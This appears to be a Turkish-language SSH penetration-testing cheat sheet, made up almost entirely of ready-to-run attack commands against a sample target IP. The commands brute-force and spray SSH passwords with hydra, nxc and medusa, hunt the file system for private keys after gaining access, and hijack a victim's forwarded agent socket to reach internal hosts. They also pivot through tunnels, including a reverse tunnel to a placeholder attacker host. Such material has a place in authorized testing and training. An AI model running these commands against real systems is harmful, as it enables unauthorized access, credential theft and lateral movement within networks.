SSH Pentesting

SSH difficulty: kolay-orta

SSH çoğu ortamda yönetim düzlemidir: zayıf parola, yeniden kullanılan anahtar, eski algoritma ve agent forwarding yanlışları shell’e giden kısa yoldur.

Ön koşullar

- Hedef IP / hostname, opsiyonel kullanıcı listesi
- Araçlar: nmap, ssh-audit, hydra/nxc, ssh-keygen, ssh

Metodoloji

1. Banner / sürüm ve desteklenen auth yöntemlerini çıkar.

2. Zayıf cipher/KEX/hostkey ve user enum ipuçlarını not et.

3. Anahtar veya parola ile erişim dene (spray politikasına uy).

4. İçeride agent, config, authorized_keys ve lateral tünelleri kontrol et.

Enumeration

nmap -p22 -sV --script ssh2-enum-algos,ssh-auth-methods,ssh-hostkey 10.10.10.5

ssh-audit 10.10.10.5

ssh -v -o PreferredAuthentications=none -o NumberOfPasswordPrompts=0 user@10.10.10.5

nc -nv 10.10.10.5 22

nmap -p22 --script ssh-auth-methods --script-args="ssh.user=root" 10.10.10.5

Kimlik saldırıları

hydra -L users.txt -P pass.txt ssh://10.10.10.5 -t 4

nxc ssh 10.10.10.5 -u users.txt -p 'Sonbahar2025!' --continue-on-success

medusa -h 10.10.10.5 -U users.txt -P pass.txt -M ssh

# bilinen private key ile
ssh -i id_rsa user@10.10.10.5

chmod 600 id_rsa

ssh-keygen -y -f id_rsa

Parola sprey disiplinleri: Password Attacks.

Anahtar ve config bulma (loot sonrası)

find /home /root -name id_rsa -o -name id_ed25519 -o -name authorized_keys 2>/dev/null

cat ~/.ssh/config

cat ~/.ssh/known_hosts

grep -R "BEGIN OPENSSH PRIVATE KEY" /var/www /opt 2>/dev/null

Agent forwarding suistimali

ForwardAgent yes ile bağlanmış oturumda kurbanın agent soketine erişilebilir:

echo "$SSH_AUTH_SOCK"

ssh-add -l

ssh -A user@10.10.10.5

# ele geçirilen sock üzerinden başka hosta
SSH_AUTH_SOCK=/tmp/ssh-XXX/agent.YYY ssh user@internal

Tünel (pivot)

ssh -L 8080:127.0.0.1:80 user@10.10.10.5

ssh -R 9050:127.0.0.1:9050 user@ATTACKER

ssh -D 1080 user@10.10.10.5

ssh -J jumpuser@bastion user@internal

Daha geniş tünel repertuvarı: Pivoting.

Komut üreteci

⚡

ssh-audit

embedded tool

Hedef

Generated commandcopy

ssh-audit 10.10.10.5

ssh-audit

Dikkat edilecekler

- Eski OpenSSH / libssh CVE’leri (sürüme göre)
- root login + PasswordAuthentication yes
- Aynı anahtarın birçok sunucuda yeniden kullanımı
- debian weak keys / düşük entropy (eski cihazlar)

Zincir

ssh-audit → zayıf auth
  → spray veya bulunan id_rsa
  → SSH -D / -J → iç ağ nmap